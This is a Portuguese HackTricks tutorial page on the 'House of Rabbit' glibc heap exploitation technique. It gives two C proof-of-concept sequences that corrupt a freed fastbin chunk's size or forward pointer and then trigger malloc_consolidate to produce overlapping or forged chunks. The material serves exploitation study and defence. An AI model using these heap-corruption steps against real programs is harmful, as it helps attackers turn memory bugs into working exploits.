hacktricks/binary-exploitation/libc-heap/house-of-rabbit.md

4.8 KiB

Casa do Coelho

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Requisitos

  1. Capacidade de Modificar o Ponteiro fd ou Tamanho do Fastbin: Isso significa que você pode alterar o ponteiro forward de um pedaço no fastbin ou seu tamanho.
  2. Capacidade de Acionar malloc_consolidate: Isso pode ser feito alocando um grande pedaço ou mesclando o pedaço superior, o que força o heap a consolidar pedaços.

Objetivos

  1. Criar Pedaços Sobrepostos: Para ter um pedaço sobreposto com outro, permitindo manipulações adicionais no heap.
  2. Forjar Pedaços Falsos: Para enganar o alocador fazendo com que um pedaço falso seja tratado como um pedaço legítimo durante operações no heap.

Etapas do Ataque

POC 1: Modificar o Tamanho de um Pedaço Fastbin

Objetivo: Criar um pedaço sobreposto manipulando o tamanho de um pedaço fastbin.

  • Passo 1: Alocar Pedaços
unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40);  // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10);                          // Allocates a small chunk to change the fastbin state
  • Passo 2: Liberar Chunks
free(chunk1);  // Frees the chunk at 0x602000
free(chunk2);  // Frees the chunk at 0x602050
  • Passo 3: Modificar o Tamanho do Chunk
chunk1[-1] = 0xa1;  // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])

Alteramos os metadados de tamanho do chunk1 para 0xa1. Este é um passo crucial para enganar o alocador durante a consolidação.

  • Passo 4: Acionar malloc_consolidate
malloc(0x1000);  // Allocate a large chunk to trigger heap consolidation

Alocar um grande bloco aciona a função malloc_consolidate, mesclando pequenos blocos no fastbin. O tamanho manipulado do chunk1 faz com que ele se sobreponha ao chunk2.

Após a consolidação, o chunk1 se sobrepõe ao chunk2, permitindo uma exploração adicional.

POC 2: Modificar o Ponteiro FD

Objetivo: Criar um bloco falso manipulando o ponteiro fd do fastbin.

  • Passo 1: Alocar Blocos
unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050

Explicação: Alocamos dois blocos, um menor e um maior, para configurar o heap para o bloco falso.

  • Passo 2: Criar Bloco Falso
chunk2[1] = 0x31;  // Fake chunk size 0x30
chunk2[7] = 0x21;  // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
  • Passo 3: Liberar o Chunk1
free(chunk1);  // Frees the chunk at 0x602000

Explicação: Liberamos chunk1, adicionando-o à lista fastbin.

  • Passo 4: Modificar FD do Chunk1
chunk1[0] = 0x602060;  // Modify the fd of chunk1 to point to the fake chunk within chunk2

Explicação: Alteramos o ponteiro para frente (fd) do chunk1 para apontar para o nosso chunk falso dentro do chunk2.

  • Passo 5: Acionar malloc_consolidate
malloc(5000);  // Allocate a large chunk to trigger heap consolidation

Alocar um grande bloco novamente aciona o malloc_consolidate, que processa o bloco falso.

O bloco falso passa a fazer parte da lista fastbin, tornando-se um bloco legítimo para futuras explorações.

Resumo

A técnica House of Rabbit envolve modificar o tamanho de um bloco fastbin para criar blocos sobrepostos ou manipular o ponteiro fd para criar blocos falsos. Isso permite que os atacantes forjem blocos legítimos no heap, possibilitando várias formas de exploração. Compreender e praticar esses passos irá aprimorar suas habilidades de exploração de heap.